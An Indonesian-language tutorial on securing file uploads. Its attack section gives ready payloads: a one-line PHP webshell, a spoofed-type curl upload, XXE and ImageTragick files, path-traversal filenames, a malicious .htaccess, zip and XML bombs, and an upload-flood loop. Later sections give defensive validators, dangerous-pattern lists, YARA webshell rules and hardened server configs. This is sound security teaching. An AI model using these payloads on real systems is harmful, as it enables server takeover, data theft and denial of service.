1. Pengenalan File Upload Security
File Upload Security adalah salah satu aspek kritis dalam keamanan web application. Fitur upload file ditemukan di hampir semua aplikasi modern β dari media sosial, e-commerce, sistem manajemen dokumen, hingga platform enterprise. Namun, fitur ini juga menjadi salah satu attack vector paling berbahaya jika tidak diimplementasikan dengan benar.
Menurut laporan OWASP, Unrestricted File Upload masuk dalam kategori kerentanan yang paling sering dieksploitasi. Serangan melalui file upload dapat mengakibatkan Remote Code Execution (RCE), di mana attacker dapat mengambil alih seluruh server, mengakses database, mencuri data sensitif, atau bahkan menggunakan server sebagai pivot point untuk menyerang sistem lain.
Mengapa File Upload Berbahaya?
| Risiko | Dampak | Severity |
|---|---|---|
| Remote Code Execution | Attacker dapat menjalankan perintah di server | Critical |
| Cross-Site Scripting (XSS) | Script malicious dieksekusi di browser korban | High |
| Server-Side Request Forgery | Server dimanfaatkan untuk mengakses resource internal | High |
| Denial of Service (DoS) | Server kehabisan disk space atau resource | Medium |
| Malware Distribution | Server digunakan untuk mendistribusikan malware | High |
| Data Exfiltration | Data sensitif dapat dibocorkan melalui file yang diupload | Critical |
| Path Traversal | File ditulis ke lokasi yang tidak semestinya di server | High |
Tutorial ini ditujukan untuk edukasi keamanan. Gunakan pengetahuan ini untuk mempertahankan sistem, bukan untuk menyerang. Akses tanpa izin terhadap sistem komputer adalah kejahatan siber yang melanggar UU ITE di Indonesia.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ β FILE UPLOAD ATTACK FLOW β β β β ββββββββββββ βββββββββββββ βββββββββββββ βββββββββββ β β β Attacker ββββΆβ Upload ββββΆβ Server ββββΆβ Execute β β β β β β Maliciousβ β Process β β Payload β β β β β’ Shell β β File β β File β β β β β β β’ Exploitβ β β β β β β’ RCE β β β β β’ XSS β β β’ PHP β β β’ Simpan β β β’ XSS β β β β Payloadβ β β’ JSP β β β’ Eksekusiβ β β’ Defaceβ β β β β β β’ ASPX β β β’ Serve β β β’ Pivot β β β ββββββββββββ βββββββββββββ βββββββββββββ βββββββββββ β β β β Mitigation Layers: β β 1. Client-side validation (bisa di-bypass) β β 2. Server-side validation (WAJIB) β β 3. Content-type checking (insufficient jika sendiri) β β 4. File signature checking (lebih baik) β β 5. Malware scanning (terbaik) β β 6. Isolated storage (defense in depth) β ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
2. Teknik Serangan File Upload
Memahami teknik serangan adalah langkah pertama untuk membangun pertahanan yang efektif. Berikut adalah berbagai metode yang digunakan attacker untuk mengeksploitasi fitur file upload.
2.1 Extension Bypass
Salah satu teknik paling sederhana adalah mengganti ekstensi file. Banyak aplikasi hanya memeriksa ekstensi file tanpa memvalidasi isi file sesungguhnya.
# ===== EXTENSION BYPASS TECHNIQUES ===== # 1. Double Extension # Upload file dengan double extension shell.php.jpg # Beberapa server menjalankan .php shell.php.png # Jika Apache misconfigure shell.php%00.jpg # Null byte injection (PHP < 5.3.4) # 2. Case Sensitivity shell.pHp # Bypass filter yang case-sensitive shell.PhP # Variasi case shell.PHP # Uppercase # 3. Alternative PHP Extensions shell.php3 # PHP3 handler shell.php4 # PHP4 handler shell.php5 # PHP5 handler shell.phtml # PHTML handler shell.pht # PHT handler shell.phar # PHAR archive shell.inc # Include file # 4. Alternative ASP Extensions shell.asp # Classic ASP shell.asa # ASA shell.cer # Certificate (IIS lama) shell.cdx # CDX shell.aspx # ASP.NET shell.ashx # ASP.NET Handler shell.asmx # ASP.NET Web Service shell.cshtml # Razor # 5. Alternative JSP Extensions shell.jsp # Java Server Pages shell.jspx # JSP XML shell.jsw # JSP Wrapper shell.jsv # JSP Variant shell.war # Web Archive # 6. Null Byte Injection (PHP < 5.3.4, Java) shell.php%00.jpg # Null byte terminates string shell.php\x00.jpg # Hex null byte shell.php%00.png # Null byte with PNG # 7. Special Characters shell.php. # Trailing dot (Windows) shell.php # Trailing space (Windows) shell.php::$DATA # NTFS Alternate Data Stream shell.php%20 # URL-encoded space shell.php%0a # Newline character
2.2 Content-Type Bypass
Banyak developer hanya memeriksa Content-Type header yang dikirim client, padahal header ini sangat mudah dipalsukan.
# ===== CONTENT-TYPE BYPASS ===== # Content-Type yang dikirim client BISA dipalsukan! # Server yang hanya cek Content-Type sangat rentan # Menggunakan curl untuk bypass Content-Type # Upload PHP shell dengan Content-Type image/png curl -X POST https://target.com/upload \ -F "file=@shell.php;type=image/png" \ -F "submit=Upload" # Menggunakan Burp Suite: # 1. Intercept upload request # 2. Ubah Content-Type header dari application/octet-stream # menjadi image/png atau image/jpeg # 3. Forward request # Content-Type yang sering di-allow: # image/jpeg β gambar JPEG # image/png β gambar PNG # image/gif β gambar GIF # image/webp β gambar WebP # application/pdf β dokumen PDF # text/plain β teks biasa # ===== MAGIC BYPASS ===== # File PHP dengan magic bytes gambar JPEG # Tambahkan header JPEG di awal file PHP: # \xFF\xD8\xFF\xE0 (JPEG magic bytes) # diikuti dengan kode PHP # Contoh file dengan header palsu: # \xFF\xD8\xFF\xE0\x00\x10JFIF<?php system($_GET['cmd']); ?> # Karena PHP hanya mengeksekusi antara tag <?php ... ?>, # magic bytes JPEG dianggap sebagai output biasa
2.3 Image-based Attacks
# ===== IMAGE-BASED ATTACKS =====
# 1. EXIF DATA INJECTION
# Sisipkan kode PHP ke metadata EXIF gambar
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
# Jika server menjalankan include() pada file, kode bisa dieksekusi
# 2. POLYGLOT FILES
# File yang valid sebagai gambar DAN sebagai script
# Tools: PolyGlot, gififi
# Contoh: GIF89a yang juga valid sebagai PHP
# 3. SVG XSS
# SVG adalah file XML yang bisa berisi JavaScript
cat <<'EOF' > malicious.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('XSS via SVG')</script>
</svg>
EOF
# SVG SSRF (Server-Side Request Forgery)
cat <<'EOF' > ssrf.svg
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
EOF
# 4. PIXEL FLOOD / DECOMPRESSION BOMB
# Gambar dengan dimensi sangat besar di header
# namun file size sangat kecil
# Contoh: 1x1 pixel tapi header bilang 65535x65535
# Akibat: server habiskan memory untuk alokasi buffer
# 5. IMAGEMAGICK EXPLOIT (ImageTragick CVE-2016-3714)
# Exploit kelemahan ImageMagick untuk RCE
cat <<'EOF' > exploit.mvg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
EOF
2.4 Path Traversal via Upload
# ===== PATH TRAVERSAL VIA UPLOAD ===== # Manipulasi nama file untuk menulis ke direktori lain # 1. Basic Path Traversal # Filename: ../../../etc/cron.d/backdoor # File ditulis ke direktori sistem # 2. Filename yang dikirim via multipart form Content-Disposition: form-data; name="file"; filename="../../../etc/passwd" # 3. URL-encoded traversal Content-Disposition: form-data; name="file"; filename="..%2F..%2F..%2Fetc%2Fpasswd" # 4. Double-encoded traversal Content-Disposition: form-data; name="file"; filename="..%252F..%252Fetc%252Fpasswd" # 5. Null byte untuk memotong nama file Content-Disposition: form-data; name="file"; filename="../../../etc/passwd%00.jpg" # 6. Overwrite file sensitif # Target: .htaccess, web.config, robots.txt # Upload file .htaccess yang merubah konfigurasi Apache # .htaccess malicious content: AddType application/x-httpd-php .jpg # Sekarang semua file .jpg dieksekusi sebagai PHP!
2.5 Denial of Service via Upload
# ===== DENIAL OF SERVICE VIA UPLOAD =====
# 1. DISK SPACE EXHAUSTION
# Upload file sangat besar berulang kali
# Target: menghabiskan disk space server
# 2. ZIP BOMB (Decompression Bomb)
# File ZIP kecil yang mengekstrak ke ukuran sangat besar
# Contoh: 42.zip (42 KB β 4.5 PB saat diekstrak)
# Tools: buat ZIP bomb dengan rekursi
# ZIP bomb sederhana:
dd if=/dev/zero bs=1M count=1000 | zip bomb.zip -
# Upload file ini, server coba proses = crash
# 3. RESOURCE EXHAUSTION
# Upload banyak file sekaligus (flood)
for i in {1..10000}; do
curl -X POST https://target.com/upload \
-F "file=@large_file.bin" &
done
# 4. INFINITE LOOP FILES
# File GIF animasi dengan infinite loop
# Server coba render = CPU exhaustion
# 5. XML BOMB (Billion Laughs Attack) via SVG upload
# SVG yang mengandung entity expansion
cat <<'EOF' > bomb.svg
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<svg><text>&lol4;</text></svg>
EOF
3. Validasi File yang Aman
Validasi file adalah lini pertahanan pertama dan paling penting. Validasi yang baik harus dilakukan di server-side dan menggunakan multiple layers pemeriksaan.
3.1 Whitelist Ekstensi
# ===== FILE EXTENSION VALIDATION (Python/Flask) =====
import os
from werkzeug.utils import secure_filename
# ALLOWLIST (bukan blocklist!) β Lebih aman menggunakan whitelist
ALLOWED_EXTENSIONS = {
'image': {'jpg', 'jpeg', 'png', 'gif', 'webp'},
'document': {'pdf', 'docx', 'xlsx', 'pptx'},
'archive': {'zip', 'tar.gz'}
}
# Blocklist TIDAK efektif karena terlalu banyak ekstensi berbahaya
# JANGAN gunakan:
BLOCKLIST_BAD = {'php', 'php3', 'php5', 'phtml', 'asp', 'aspx', 'jsp'}
# Ini TIDAK lengkap dan bisa di-bypass!
def allowed_file(filename, allowed_types=None):
"""Validasi file menggunakan whitelist ekstensi"""
# 1. Secure filename (hapus path traversal chars)
filename = secure_filename(filename)
# 2. Cek apakah ada ekstensi
if '.' not in filename:
return False, "File harus memiliki ekstensi"
# 3. Ambil ekstensi (lowercase)
ext = filename.rsplit('.', 1)[1].lower()
# 4. Cek terhadap whitelist
all_allowed = set()
for file_type in (allowed_types or ALLOWED_EXTENSIONS.keys()):
all_allowed.update(ALLOWED_EXTENSIONS.get(file_type, set()))
if ext not in all_allowed:
return False, f"Ekstensi .{ext} tidak diizinkan"
return True, "OK"
def get_safe_filename(original_filename, upload_dir):
"""Generate nama file yang aman"""
# 1. Secure original filename
safe_name = secure_filename(original_filename)
# 2. Generate unique name (hindari overwrite)
import uuid
ext = safe_name.rsplit('.', 1)[1].lower() if '.' in safe_name else 'bin'
unique_name = f"{uuid.uuid4().hex}.{ext}"
# 3. Pastikan path tidak keluar dari upload directory
target_path = os.path.join(upload_dir, unique_name)
real_upload = os.path.realpath(upload_dir)
real_target = os.path.realpath(target_path)
if not real_target.startswith(real_upload):
raise ValueError("Path traversal detected!")
return unique_name, target_path
# ===== USAGE EXAMPLE =====
# from flask import Flask, request, jsonify
#
# @app.route('/upload', methods=['POST'])
# def upload_file():
# file = request.files.get('file')
# if not file or not file.filename:
# return jsonify({'error': 'No file'}), 400
#
# # Validasi ekstensi
# allowed, msg = allowed_file(file.filename, ['image'])
# if not allowed:
# return jsonify({'error': msg}), 400
#
# # Generate nama aman
# safe_name, target = get_safe_filename(
# file.filename, app.config['UPLOAD_DIR']
# )
# file.save(target)
# return jsonify({'filename': safe_name}), 201
3.2 Magic Number / File Signature Validation
# ===== MAGIC NUMBER / FILE SIGNATURE VALIDATION =====
# Magic number adalah byte pertama dari file yang mengidentifikasi
# tipe file. Ini JAUH lebih dapat diandalkan daripada ekstensi.
import struct
import imghdr
import io
# Database magic numbers untuk tipe file umum
MAGIC_NUMBERS = {
b'\xFF\xD8\xFF': 'image/jpeg',
b'\x89PNG\r\n\x1a\n': 'image/png',
b'GIF87a': 'image/gif',
b'GIF89a': 'image/gif',
b'RIFF': 'image/webp', # Perlu cek lebih lanjut
b'%PDF': 'application/pdf',
b'PK\x03\x04': 'application/zip',
b'\x1f\x8b': 'application/gzip',
b'BM': 'image/bmp',
b'\x00\x00\x01\x00': 'image/x-icon',
b'II\x2a\x00': 'image/tiff', # Little-endian
b'MM\x00\x2a': 'image/tiff', # Big-endian
}
def validate_magic_number(file_data, expected_type=None):
"""Validasi tipe file berdasarkan magic number"""
if isinstance(file_data, str):
# Jika string, baca file
with open(file_data, 'rb') as f:
file_data = f.read(32)
detected_type = None
for magic, mime_type in MAGIC_NUMBERS.items():
if file_data[:len(magic)] == magic:
detected_type = mime_type
break
if detected_type is None:
return False, f"Tipe file tidak dikenali"
if expected_type and detected_type != expected_type:
return False, f"Tipe file tidak sesuai. Expected: {expected_type}, Got: {detected_type}"
return True, detected_type
def validate_image_deep(file_data):
"""Validasi mendalam untuk file gambar"""
try:
img = Image.open(io.BytesIO(file_data))
img.verify() # Verifikasi integritas gambar
# Buka ulang setelah verify (verify menutup file)
img = Image.open(io.BytesIO(file_data))
# Cek dimensi wajar
width, height = img.size
if width > 10000 or height > 10000:
return False, "Dimensi gambar terlalu besar"
# Cek format
if img.format.lower() not in ('jpeg', 'png', 'gif', 'webp'):
return False, f"Format gambar tidak diizinkan: {img.format}"
return True, f"Valid {img.format} {width}x{height}"
except Exception as e:
return False, f"File bukan gambar valid: {str(e)}"
# ===== COMPREHENSIVE VALIDATION PIPELINE =====
from PIL import Image
def validate_upload_comprehensive(file_stream, max_size_mb=5, allowed_types=None):
"""Pipeline validasi lengkap"""
errors = []
# 1. Baca file data
file_data = file_stream.read()
file_stream.seek(0) # Reset stream
# 2. Cek ukuran
max_bytes = max_size_mb * 1024 * 1024
if len(file_data) > max_bytes:
errors.append(f"File terlalu besar: {len(file_data)} bytes (max: {max_bytes})")
if len(file_data) == 0:
errors.append("File kosong")
# 3. Cek magic number
magic_ok, magic_type = validate_magic_number(file_data)
if not magic_ok:
errors.append(f"Magic number tidak valid: {magic_type}")
# 4. Cek untuk embedded script dalam file gambar
dangerous_patterns = [
b'<?php', b'<?=', b'<script', b'<%',
b'<%@', b'<asp', b'eval(', b'exec(',
b'system(', b'passthru(', b'shell_exec(',
]
for pattern in dangerous_patterns:
if pattern in file_data.lower():
errors.append(f"File mengandung pola berbahaya: {pattern.decode()}")
# 5. Jika gambar, validasi mendalam
if magic_type and magic_type.startswith('image/'):
img_ok, img_msg = validate_image_deep(file_data)
if not img_ok:
errors.append(f"Validasi gambar gagal: {img_msg}")
if errors:
return False, errors
return True, [f"Valid: {magic_type} ({len(file_data)} bytes)"]
3.3 Filename Sanitization
# ===== FILENAME SANITIZATION =====
# ---- Python ----
import re
import unicodedata
import uuid
def sanitize_filename(filename):
"""Sanitize filename untuk mencegah serangan"""
# 1. Normalize unicode characters
filename = unicodedata.normalize('NFKD', filename)
# 2. Hapus karakter non-ASCII
filename = filename.encode('ascii', 'ignore').decode('ascii')
# 3. Hapus path components
filename = filename.split('/')[-1].split('\\')[-1]
# 4. Hapus karakter berbahaya
filename = re.sub(r'[^\w\s\-.]', '', filename)
# 5. Hapus spasi berlebih
filename = re.sub(r'\s+', '_', filename.strip())
# 6. Batasi panjang
if len(filename) > 255:
name, ext = filename.rsplit('.', 1)
filename = name[:250] + '.' + ext
# 7. Pastikan tidak kosong
if not filename or filename.startswith('.'):
filename = f"file_{uuid.uuid4().hex[:8]}"
return filename
# ---- Node.js ----
# const path = require('path');
# const crypto = require('crypto');
#
# function sanitizeFilename(filename) {
# // Hapus path traversal
# filename = path.basename(filename);
#
# // Hapus karakter berbahaya
# filename = filename.replace(/[^a-zA-Z0-9._-]/g, '_');
#
# // Generate unique prefix
# const unique = crypto.randomBytes(8).toString('hex');
# const ext = path.extname(filename).toLowerCase();
#
# return `${unique}${ext}`;
# }
# ---- PHP ----
# function sanitizeFilename(string $filename): string {
# // Hapus path components
# $filename = basename($filename);
#
# // Hapus karakter berbahaya
# $filename = preg_replace('/[^a-zA-Z0-9._-]/', '_', $filename);
#
# // Generate unique name
# $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
# $unique = bin2hex(random_bytes(8));
#
# return $unique . '.' . $ext;
# }
4. Malware & Content Scanning
Validasi ekstensi dan magic number saja tidak cukup. File yang tampak valid bisa saja mengandung malware, exploit, atau payload tersembunyi. Oleh karena itu, scanning file adalah lapisan pertahanan tambahan yang sangat penting.
4.1 ClamAV Integration
# ===== CLAMAV INTEGRATION =====
# ClamAV adalah antivirus open source yang populer untuk server
# Instalasi ClamAV:
# sudo apt install clamav clamav-daemon
# sudo freshclam # Update virus database
# sudo systemctl start clamav-daemon
import clamd
import tempfile
import os
class ClamAVScanner:
def __init__(self, host='localhost', port=3310):
self.cd = clamd.ClamdUnixSocket()
# Atau gunakan TCP:
# self.cd = clamd.ClamdNetworkSocket(host, port)
def scan_file(self, file_data, filename='unknown'):
"""Scan file data menggunakan ClamAV"""
try:
# Tulis ke temporary file
with tempfile.NamedTemporaryFile(delete=False, suffix='.tmp') as tmp:
tmp.write(file_data)
tmp_path = tmp.name
# Scan file
result = self.cd.scan(tmp_path)
# Cleanup
os.unlink(tmp_path)
if result:
status = result[tmp_path]
if status[0] == 'FOUND':
return {
'clean': False,
'threat': status[1],
'filename': filename
}
return {'clean': True, 'filename': filename}
except Exception as e:
return {'clean': None, 'error': str(e), 'filename': filename}
def scan_stream(self, file_stream, filename='unknown'):
"""Scan langsung dari stream"""
file_data = file_stream.read()
file_stream.seek(0)
return self.scan_file(file_data, filename)
# ===== USAGE =====
# scanner = ClamAVScanner()
# result = scanner.scan_file(file_data, 'user_photo.jpg')
#
# if not result['clean']:
# print(f"MALWARE DETECTED: {result['threat']}")
# # Log incident, block user, notify admin
# elif result['clean'] is None:
# print(f"SCAN ERROR: {result['error']}")
# # Deny upload sebagai precaution
4.2 YARA Rules untuk Content Detection
# ===== YARA RULES UNTUK FILE UPLOAD SECURITY =====
# Simpan sebagai upload_rules.yar
rule PHP_Webshell_Generic {
meta:
description = "Deteksi PHP webshell generik"
severity = "critical"
strings:
$php_open = "<?php" nocase
$php_short = "<?=" nocase
$func1 = "system(" nocase
$func2 = "exec(" nocase
$func3 = "passthru(" nocase
$func4 = "shell_exec(" nocase
$func5 = "eval(" nocase
$func6 = "base64_decode(" nocase
$func7 = "assert(" nocase
$func8 = "preg_replace(" nocase
$func9 = "create_function(" nocase
$func10 = "proc_open(" nocase
condition:
($php_open or $php_short) and 2 of ($func*)
}
rule Suspicious_Image_With_Code {
meta:
description = "Gambar yang mengandung kode executable"
severity = "high"
strings:
$jpg = { FF D8 FF }
$png = { 89 50 4E 47 }
$gif = { 47 49 46 38 }
$php1 = "<?php" nocase
$php2 = "<?=" nocase
$asp1 = "<%" ascii
$jsp1 = "<%@" ascii
$script = "<script" nocase
condition:
($jpg at 0 or $png at 0 or $gif at 0) and
any of ($php*, $asp*, $jsp*, $script)
}
rule Double_Extension_File {
meta:
description = "File dengan double extension mencurigakan"
severity = "medium"
strings:
$a = /\.php\.\w{2,4}$/ nocase
$b = /\.asp\.\w{2,4}$/ nocase
$c = /\.jsp\.\w{2,4}$/ nocase
condition:
any of them
}
rule HTA_Application {
meta:
description = "HTA file yang bisa dieksekusi"
severity = "high"
strings:
$hta = "<HTA:APPLICATION" nocase
$script = "<script" nocase
condition:
$hta and $script
}
# ===== SCAN DENGAN YARA (Python) =====
# pip install yara-python
import yara
def scan_with_yara(file_data, rules_path='upload_rules.yar'):
"""Scan file menggunakan YARA rules"""
rules = yara.compile(filepath=rules_path)
matches = rules.match(data=file_data)
if matches:
return {
'clean': False,
'matches': [
{
'rule': m.rule,
'severity': m.meta.get('severity', 'unknown'),
'description': m.meta.get('description', ''),
'strings': [str(s) for s in m.strings]
}
for m in matches
]
}
return {'clean': True}
5. Penyimpanan File yang Aman
Cara file disimpan sama pentingnya dengan cara file divalidasi. Penyimpanan yang salah dapat mengakibatkan file dapat dieksekusi langsung oleh web server.
5.1 Prinsip Penyimpanan Aman
| Prinsip | Penjelasan | Implementasi |
|---|---|---|
| Terpisah dari Web Root | Simpan file di luar document root web server | /data/uploads/ bukan /var/www/html/uploads/ |
| Random Names | Gunakan UUID/Random untuk nama file | a3f2b1c4d5e6.jpg bukan user_photo.jpg |
| Non-executable | Set permission agar file tidak bisa dieksekusi | chmod 644, noexec mount |
| Encrypted Storage | Enkripsi file di storage untuk data sensitif | AES-256 encryption at rest |
| Dedicated Domain | Serve file dari domain terpisah | cdn.example.com bukan example.com |
# ===== SECURE FILE STORAGE ARCHITECTURE =====
# STRUKTUR DIREKTORI YANG AMAN:
#
# /var/www/html/ β Web Root (document root)
# βββ index.html
# βββ app.js
# βββ static/
#
# /data/uploads/ β Upload Directory (DI LUAR web root)
# βββ images/
# β βββ a3f2b1c4.jpg β Nama acak
# β βββ d5e6f7a8.png
# βββ documents/
# β βββ b9c0d1e2.pdf
# β βββ f3a4b5c6.docx
# βββ temp/ β Temporary staging area
# βββ (file sementara, auto-cleanup)
# ===== SERVING FILES SECURELY =====
# JANGAN serve file langsung dari upload directory!
# Gunakan application controller untuk serve file
# ---- Python/Flask Example ----
# from flask import send_file, abort
# import os
#
# @app.route('/files/<file_id>')
# def serve_file(file_id):
# # 1. Lookup file_id di database (bukan filename asli!)
# file_record = db.get_file(file_id)
# if not file_record:
# abort(404)
#
# # 2. Cek authorization
# if not current_user.can_access(file_record):
# abort(403)
#
# # 3. Build safe path
# file_path = os.path.join(
# app.config['UPLOAD_DIR'],
# file_record['stored_name']
# )
#
# # 4. Verify path masih dalam upload dir
# real_path = os.path.realpath(file_path)
# if not real_path.startswith(os.path.realpath(app.config['UPLOAD_DIR'])):
# abort(403)
#
# # 5. Serve dengan Content-Disposition attachment
# return send_file(
# real_path,
# mimetype=file_record['mime_type'],
# as_attachment=True, # Force download
# download_name=file_record['original_name']
# )
# ===== NGINX SECURE SERVING =====
# Jika menggunakan Nginx sebagai reverse proxy:
# Simpan di /etc/nginx/conf.d/secure-uploads.conf
# location /uploads/ {
# # Disable script execution
# location ~* \.(php|phtml|php3|php5|asp|aspx|jsp|cgi)$ {
# deny all;
# return 403;
# }
#
# # Set headers keamanan
# add_header X-Content-Type-Options "nosniff";
# add_header Content-Security-Policy "default-src 'none'";
#
# # Force download (jangan render inline)
# add_header Content-Disposition "attachment";
#
# # Disable directory listing
# autoindex off;
# }
5.2 Cloud Storage Security
# ===== AWS S3 SECURE UPLOAD =====
import boto3
from botocore.exceptions import ClientError
import uuid
import hashlib
class SecureS3Uploader:
def __init__(self, bucket_name, region='ap-southeast-1'):
self.s3 = boto3.client('s3', region_name=region)
self.bucket = bucket_name
def upload_file(self, file_data, original_filename, content_type):
"""Upload file ke S3 dengan keamanan"""
# 1. Generate unique filename
ext = original_filename.rsplit('.', 1)[-1].lower()
safe_name = f"{uuid.uuid4().hex}.{ext}"
# 2. Calculate checksum
md5_hash = hashlib.md5(file_data).hexdigest()
# 3. Upload dengan metadata
try:
self.s3.put_object(
Bucket=self.bucket,
Key=f"uploads/{safe_name}",
Body=file_data,
ContentType=content_type,
# 4. Disable public access
ACL='private',
# 5. Add metadata
Metadata={
'original-name': original_filename,
'md5': md5_hash,
'scan-status': 'pending'
},
# 6. Server-side encryption
ServerSideEncryption='AES256',
# 7. Set cache control
CacheControl='no-cache, no-store'
)
return {
'success': True,
'key': f"uploads/{safe_name}",
'md5': md5_hash
}
except ClientError as e:
return {'success': False, 'error': str(e)}
def generate_presigned_url(self, key, expiration=3600):
"""Generate presigned URL untuk download (temporary)"""
try:
url = self.s3.generate_presigned_url(
'get_object',
Params={
'Bucket': self.bucket,
'Key': key,
'ResponseContentDisposition': 'attachment'
},
ExpiresIn=expiration
)
return url
except ClientError as e:
return None
# ===== S3 BUCKET POLICY =====
# Pastikan bucket TIDAK public:
# {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Sid": "DenyPublicAccess",
# "Effect": "Deny",
# "Principal": "*",
# "Action": "s3:GetObject",
# "Resource": "arn:aws:s3:::your-bucket/uploads/*",
# "Condition": {
# "StringEquals": {
# "s3:ExistingObjectTag/access": "private"
# }
# }
# }
# ]
# }
6. Konfigurasi Server
Konfigurasi web server yang tepat sangat penting untuk mencegah eksekusi file upload yang berbahaya.
# ===== APACHE HARDENING =====
# .htaccess di direktori upload (/var/www/html/uploads/.htaccess)
# 1. Matikan engine PHP di direktori upload
php_flag engine off
# 2. Matikan eksekusi script
<FilesMatch "\.(php|php3|php4|php5|phtml|pht|phar|phps|inc)$">
Require all denied
# Atau: Deny from all (Apache 2.2)
</FilesMatch>
# 3. Matikan eksekusi CGI
Options -ExecCGI
# 4. Force download untuk semua file
<FilesMatch "\.">
ForceType application/octet-stream
Header set Content-Disposition attachment
</FilesMatch>
# 5. Hapus handler spesifik
RemoveHandler .php .phtml .php3 .php4 .php5 .inc
RemoveType .php .phtml .php3 .php4 .php5 .inc
# ===== NGINX HARDENING =====
# /etc/nginx/snippets/secure-upload.conf
# Blokir eksekusi script di direktori upload
location /uploads/ {
# Disable PHP dan script execution
location ~ \.php$ {
return 403;
}
# Disable semua script
location ~* \.(php|phtml|php3|php5|asp|aspx|jsp|cgi|pl|py|sh|bash)$ {
return 403;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Content-Security-Policy "default-src 'none'" always;
# Force attachment download
add_header Content-Disposition "attachment" always;
# Disable directory listing
autoindex off;
# Limit request size
client_max_body_size 10M;
}
# ===== PHP HARDENING (php.ini) =====
# upload_max_filesize = 10M # Batas ukuran upload
# post_max_size = 12M # Sedikit lebih besar dari upload
# max_file_uploads = 5 # Batas jumlah file per request
# upload_tmp_dir = /tmp/php_upload # Direktori temporary
#
# disable_functions = exec,passthru,shell_exec,system,
# proc_open,popen,curl_multi_exec,parse_ini_file,show_source
#
# open_basedir = /var/www/html:/tmp/php_upload # Batasi akses file
# allow_url_fopen = Off # Disable remote file inclusion
# allow_url_include = Off # Disable remote include
7. Implementasi Praktis
Berikut adalah implementasi lengkap sistem upload yang aman menggunakan Node.js/Express yang dapat langsung digunakan.
// ===== COMPLETE SECURE UPLOAD SYSTEM (Node.js/Express) =====
const express = require('express');
const multer = require('multer');
const path = require('path');
const crypto = require('crypto');
const fs = require('fs').promises;
// ===== KONFIGURASI =====
const UPLOAD_DIR = '/data/uploads'; // Di luar web root!
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10MB
const ALLOWED_MIMES = {
'image/jpeg': { ext: 'jpg', maxSize: 5 * 1024 * 1024 },
'image/png': { ext: 'png', maxSize: 5 * 1024 * 1024 },
'image/gif': { ext: 'gif', maxSize: 2 * 1024 * 1024 },
'image/webp': { ext: 'webp', maxSize: 5 * 1024 * 1024 },
'application/pdf': { ext: 'pdf', maxSize: 10 * 1024 * 1024 },
};
// Magic numbers untuk validasi
const MAGIC_NUMBERS = {
'image/jpeg': [Buffer.from([0xFF, 0xD8, 0xFF])],
'image/png': [Buffer.from([0x89, 0x50, 0x4E, 0x47])],
'image/gif': [
Buffer.from('GIF87a'),
Buffer.from('GIF89a')
],
'application/pdf': [Buffer.from('%PDF')],
};
// ===== MULTER SETUP =====
const storage = multer.diskStorage({
destination: async (req, file, cb) => {
const userDir = path.join(UPLOAD_DIR, 'temp');
await fs.mkdir(userDir, { recursive: true });
cb(null, userDir);
},
filename: (req, file, cb) => {
// Nama sementara, akan di-rename setelah validasi
const tempName = crypto.randomBytes(16).toString('hex');
cb(null, tempName);
}
});
const upload = multer({
storage,
limits: {
fileSize: MAX_FILE_SIZE,
files: 5,
fieldNameSize: 100,
fieldSize: 1024
},
fileFilter: (req, file, cb) => {
// Pre-check: Content-Type
if (!ALLOWED_MIMES[file.mimetype]) {
return cb(new Error('Tipe file tidak diizinkan'), false);
}
cb(null, true);
}
});
// ===== VALIDATION MIDDLEWARE =====
async function validateUploadedFile(req, res, next) {
if (!req.file) {
return res.status(400).json({ error: 'File tidak ditemukan' });
}
try {
const filePath = req.file.path;
const fileData = await fs.readFile(filePath);
const errors = [];
// 1. Magic number validation
const expectedMime = req.file.mimetype;
const magicSigs = MAGIC_NUMBERS[expectedMime] || [];
const magicValid = magicSigs.some(sig =>
fileData.slice(0, sig.length).equals(sig)
);
if (!magicValid) {
errors.push('Magic number tidak sesuai Content-Type');
}
// 2. Scan untuk pola berbahaya
const dangerousPatterns = [
Buffer.from('<?php'),
Buffer.from('<?='),
Buffer.from('<script'),
Buffer.from('<%'),
Buffer.from('eval('),
Buffer.from('exec('),
Buffer.from('system('),
Buffer.from('shell_exec'),
Buffer.from('passthru'),
];
for (const pattern of dangerousPatterns) {
if (fileData.includes(pattern)) {
errors.push(`File mengandung pola berbahaya`);
break;
}
}
// 3. Image validation (jika gambar)
if (expectedMime.startsWith('image/')) {
// Gunakan sharp untuk validasi gambar
try {
const sharp = require('sharp');
const metadata = await sharp(fileData).metadata();
if (metadata.width > 10000 || metadata.height > 10000) {
errors.push('Dimensi gambar terlalu besar');
}
} catch (e) {
errors.push('File gambar tidak valid atau corrupt');
}
}
// 4. Handle errors
if (errors.length > 0) {
await fs.unlink(filePath); // Hapus file invalid
return res.status(400).json({
error: 'File tidak valid',
details: errors
});
}
// 5. Generate nama final yang aman
const mimeInfo = ALLOWED_MIMES[expectedMime];
const finalName = `${crypto.randomBytes(16).toString('hex')}.${mimeInfo.ext}`;
const finalPath = path.join(UPLOAD_DIR, finalName);
await fs.rename(filePath, finalPath);
req.uploadedFile = {
originalName: req.file.originalname,
storedName: finalName,
path: finalPath,
mimeType: expectedMime,
size: fileData.length,
md5: crypto.createHash('md5').update(fileData).digest('hex')
};
next();
} catch (error) {
// Cleanup on error
try { await fs.unlink(req.file.path); } catch {}
next(error);
}
}
// ===== ROUTES =====
const router = express.Router();
router.post('/upload',
upload.single('file'),
validateUploadedFile,
async (req, res) => {
